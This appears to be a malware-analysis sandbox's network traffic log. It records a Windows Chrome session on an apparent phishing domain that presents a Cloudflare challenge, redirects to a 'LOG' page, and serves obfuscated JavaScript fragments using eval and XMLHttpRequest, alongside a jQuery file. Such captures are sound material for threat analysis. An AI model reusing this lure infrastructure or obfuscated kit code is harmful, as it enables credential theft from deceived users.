2024-04-25 13:31:10 UTC	925	OUT	POST /CAPdzM3YXV0SGkyQmRJUVJ5 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive Content-Length: 807 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBkSAsirsk19A8tIy Accept: / Origin: https://doculink.authtlcate-now.pro Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://doculink.authtlcate-now.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:10 UTC	807	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 42 6b 53 41 73 69 72 73 6b 31 39 41 38 74 49 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 0d 0a 0d 0a 30 2e 32 51 56 71 50 72 57 64 30 63 31 5a 74 42 38 6e 5a 6d 6c 58 70 78 53 5a 32 48 45 33 69 64 52 65 74 51 31 41 4c 4d 58 77 73 4b 63 53 57 64 65 38 53 66 72 5a 7a 5a 6b 33 6d 67 74 6d 6b 55 7a 61 57 55 6f 6b 6e 33 50 7a 6e 5a 59 6c 31 30 50 72 42 44 70 6c 31 73 4a 5f 68 71 54 43 4c 72 6e 56 7a 4f 75 4b 77 4f 75 39 41 4a 6c 71 34 54 34 35 72 73 69 67 37 57 5a 46 7a 56 61 6e 6a 37 74 67 76 72 77 41 30 6b 72 77 77 36 58 42 33 75 70 34 62 2d 57 Data Ascii: ------WebKitFormBoundaryBkSAsirsk19A8tIyContent-Disposition: form-data; name="cf-turnstile-response"0.2QVqPrWd0c1ZtB8nZmlXpxSZ2HE3idRetQ1ALMXwsKcSWde8SfrZzZk3mgtmkUzaWUokn3PznZYl10PrBDpl1sJ_hqTCLrnVzOuKwOu9AJlq4T45rsig7WZFzVanj7tgvrwA0krww6XB3up4b-W
2024-04-25 13:31:11 UTC	758	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mgzEXXiUrW7UbXBx5nrg4xAYh1a6o%2FGxfK6EEc%2BT5Z3vhCbHatkQZe71AJBH3ILWcb5XtesKUWCWdxWoh79xVHEeA0%2B3CH7BGLkegUTY3cEFvU7NNcN%2B4SxMG8IH76rSXxbMQCGf5ljHUp%2FaY4k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb120c823457c-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:11 UTC	35	IN	Data Raw: 31 64 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 75 72 6c 22 3a 22 22 7d 0d 0a Data Ascii: 1d{"status":"success","url":""}
2024-04-25 13:31:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49786	104.21.34.108	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:10 UTC	617	OUT	GET /cdn-cgi/challenge-platform/h/b/rc/879eb051688c6769 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:11 UTC	714	IN	HTTP/1.1 400 Bad Request Date: Thu, 25 Apr 2024 13:31:11 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: tpJv53ZYfb1gEMo9yM9bXA==$xYDYsHKTLazMfMu8Yr/0yA== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DNrrTP%2BthHQnzXetOuBE46jcix3fiDrvZ2m76gAymS3YGYNW6BzDriTNZzmoW26yOfchKfTFXXAMvYWtqcVwW1suRpxe36d6ThcBGATTwARA6FXAPCW4VbnVxbVKO8M8jks6cVTZqHG7BJRvHRk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb121bc697bde-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:11 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49788	35.190.80.1	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:11 UTC	560	OUT	OPTIONS /report/v4?s=DNrrTP%2BthHQnzXetOuBE46jcix3fiDrvZ2m76gAymS3YGYNW6BzDriTNZzmoW26yOfchKfTFXXAMvYWtqcVwW1suRpxe36d6ThcBGATTwARA6FXAPCW4VbnVxbVKO8M8jks6cVTZqHG7BJRvHRk%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://doculink.authtlcate-now.pro Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:31:11 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 25 Apr 2024 13:31:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49789	104.21.34.108	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:11 UTC	590	OUT	GET /CAPdzM3YXV0SGkyQmRJUVJ5 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:12 UTC	731	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iP8gcFj3CpBv6xVBHIPu8gCTzUMNjKwhWKXUzAAggp%2BcmzAUIDd6TDzoPAOKIsfVgHB4uLksy8EgD7aFlUvCHdKgrOBvZeihB7f0u8mOhCBEinHi7QAwuIUBD7bzRdvdW%2FgiHv2u6DpRrElvR%2Bc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb1287c814575-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49791	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:11 UTC	966	OUT	GET / HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://doculink.authtlcate-now.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:12 UTC	850	IN	HTTP/1.1 302 Found Date: Thu, 25 Apr 2024 13:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache location: ./7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MkZujKhk1EuS1lDdmNH%2FYB0XUUqc5mQ2zKX02R4Z95y33JJmSopa4vXn75mdBKoJC1zTRfZjnwe9n9MY9mbfZQtmxn0rlA5fDLRQlNhTjrzMIKSTYsoR2C%2BB0Id3hmY85fY4MCrwmERoH8KWCrM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb1287a74ade4-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49794	35.190.80.1	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:11 UTC	490	OUT	POST /report/v4?s=DNrrTP%2BthHQnzXetOuBE46jcix3fiDrvZ2m76gAymS3YGYNW6BzDriTNZzmoW26yOfchKfTFXXAMvYWtqcVwW1suRpxe36d6ThcBGATTwARA6FXAPCW4VbnVxbVKO8M8jks6cVTZqHG7BJRvHRk%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 447 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:31:11 UTC	447	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 30 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 33 34 2e 31 30 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6f 63 75 6c 69 6e 6b 2e 61 75 74 68 74 6c 63 Data Ascii: [{"age":0,"body":{"elapsed_time":503,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.34.108","status_code":400,"type":"http.error"},"type":"network-error","url":"https://doculink.authtlc
2024-04-25 13:31:12 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 25 Apr 2024 13:31:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49790	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:12 UTC	1059	OUT	GET /7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://doculink.authtlcate-now.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:12 UTC	652	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9WDjaDo6uDL46U%2FhbrdbUq%2BBZgN%2BCv8Dn3%2BD5oLYtevGqFUEmq53KHK36eKNLeTblXPCT04b1Rht6TAEvb%2B2U6aFn1rDnvgqWdSee129jxvcZWbhwX%2Fr8l7uBWIhWmTSsJER6%2FlYIfnth5Q2ENc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb12bfff8b062-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:12 UTC	717	IN	Data Raw: 31 31 37 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 71 2f 33 61 62 31 37 31 66 37 36 66 61 31 32 63 61 37 65 37 37 35 66 34 30 31 61 38 61 35 33 66 33 65 36 36 32 61 35 62 32 30 63 36 33 33 30 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 Data Ascii: 1170<!DOCTYPE html><html><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title></title> <script src="jq/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6330"></script> <script sr
2024-04-25 13:31:12 UTC	1369	IN	Data Raw: 61 72 73 65 49 6e 74 28 4b 28 27 30 78 31 35 66 27 29 29 2f 30 78 36 2b 70 61 72 73 65 49 6e 74 28 4b 28 27 30 78 31 34 33 27 29 29 2f 30 78 37 2b 70 61 72 73 65 49 6e 74 28 4b 28 30 78 31 35 62 29 29 2f 30 78 38 2a 28 70 61 72 73 65 49 6e 74 28 4b 28 27 30 78 31 38 30 27 29 29 2f 30 78 39 29 3b 69 66 28 58 3d 3d 3d 54 29 62 72 65 61 6b 3b 65 6c 73 65 20 53 5b 27 70 75 73 68 27 5d 28 53 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 79 29 7b 53 5b 27 70 75 73 68 27 5d 28 53 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 49 2c 30 78 36 64 65 66 31 29 29 3b 76 61 72 20 47 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 71 3d 21 21 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 54 2c 53 29 7b 76 61 72 20 58 3d 71 3f 66 75 6e 63 Data Ascii: arseInt(K('0x15f'))/0x6+parseInt(K('0x143'))/0x7+parseInt(K(0x15b))/0x8*(parseInt(K('0x180'))/0x9);if(X===T)break;else S['push'](S['shift']());}catch(y){S['push'](S['shift']());}}}(I,0x6def1));var G=(function(){var q=!![];return function(T,S){var X=q?func
2024-04-25 13:31:12 UTC	1369	IN	Data Raw: 29 5d 3b 66 6f 72 28 76 61 72 20 79 3d 30 78 30 3b 79 3c 58 5b 6d 28 30 78 31 35 35 29 5d 3b 79 2b 2b 29 7b 76 61 72 20 57 3d 66 5b 6d 28 27 30 78 31 34 63 27 29 5d 5b 6d 28 30 78 31 34 30 29 5d 5b 6d 28 30 78 31 36 66 29 5d 28 66 29 2c 45 3d 58 5b 79 5d 2c 6e 3d 53 5b 45 5d 7c 7c 57 3b 57 5b 6d 28 27 30 78 31 34 39 27 29 5d 3d 66 5b 6d 28 27 30 78 31 36 66 27 29 5d 28 66 29 2c 57 5b 6d 28 30 78 31 35 64 29 5d 3d 6e 5b 6d 28 30 78 31 35 64 29 5d 5b 6d 28 27 30 78 31 36 66 27 29 5d 28 6e 29 2c 53 5b 45 5d 3d 57 3b 7d 7d 29 3b 56 28 29 3b 76 61 72 20 78 68 74 74 70 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 3b 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 76 61 72 20 67 3d 5b 27 62 69 6e 64 27 2c 27 6c 69 6e 6b 27 2c 27 63 68 61 69 6e 27 2c 27 Data Ascii: )];for(var y=0x0;y<X[m(0x155)];y++){var W=f[m('0x14c')][m(0x140)][m(0x16f)](f),E=X[y],n=S[E]\|\|W;W[m('0x149')]=f[m('0x16f')](f),W[m(0x15d)]=n[m(0x15d)][m('0x16f')](n),S[E]=W;}});V();var xhttp=new XMLHttpRequest();function I(){var g=['bind','link','chain','
2024-04-25 13:31:12 UTC	1017	IN	Data Raw: 28 27 30 78 31 35 33 27 29 5d 3b 76 61 72 20 58 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 79 3d 30 78 30 3b 79 3c 53 5b 63 28 27 30 78 31 35 35 27 29 5d 3b 79 2b 2b 29 7b 76 61 72 20 57 3d 53 5b 79 5d 5b 63 28 27 30 78 31 34 36 27 29 5d 28 63 28 30 78 31 35 39 29 29 3b 57 3f 58 5b 63 28 27 30 78 31 36 35 27 29 5d 28 57 29 3a 65 76 61 6c 28 53 5b 79 5d 5b 63 28 30 78 31 34 62 29 5d 29 3b 7d 76 61 72 20 45 3d 54 5b 63 28 30 78 31 36 64 29 5d 28 63 28 30 78 31 37 30 29 29 3b 66 6f 72 28 76 61 72 20 79 3d 30 78 30 3b 79 3c 45 5b 63 28 27 30 78 31 35 35 27 29 5d 3b 79 2b 2b 29 7b 76 61 72 20 6e 3d 45 5b 79 5d 5b 63 28 27 30 78 31 34 36 27 29 5d 28 63 28 30 78 31 35 61 29 29 3b 69 66 28 6e 26 26 6e 5b 63 28 27 30 78 31 37 64 27 29 5d 28 63 28 30 78 31 35 30 29 29 29 Data Ascii: ('0x153')];var X=[];for(var y=0x0;y<S[c('0x155')];y++){var W=S[y][c('0x146')](c(0x159));W?X[c('0x165')](W):eval(S[y][c(0x14b)]);}var E=T[c(0x16d)](c(0x170));for(var y=0x0;y<E[c('0x155')];y++){var n=E[y][c('0x146')](c(0x15a));if(n&&n[c('0x17d')](c(0x150)))
2024-04-25 13:31:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49795	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:13 UTC	896	OUT	GET /jq/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6330 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:13 UTC	687	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:13 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tiUC57%2FMT90tAzGPwBiRIgZu7lcROQsiibf5KH6OwF%2B5tbXlWTWC8yOCGTPOIys7yCrSBoLoSBq3VhRpE2baOUpJMBL%2B%2F9CVLl2HK6ixcD6sURtnVABMN%2FoflmN%2FYB2DoWfrY2U7cq2wZPBeLhY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb1308fb244e5-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:13 UTC	682	IN	Data Raw: 37 64 30 31 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 32 2e 32 2e 34 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 69 74 68 20 61 20 64 Data Ascii: 7d01/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a d
2024-04-25 13:31:13 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 65 2e 63 61 6c 6c 28 74 68 69 73 29 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 61 3f 30 3e 61 3f 74 68 69 73 5b 61 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 61 5d 3a 65 2e 63 61 6c 6c 28 74 68 69 73 29 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 2e 63 6f 6e 74 65 78 74 3d 74 68 69 73 2e 63 6f 6e 74 65 78 74 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e Data Ascii: {return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:fun
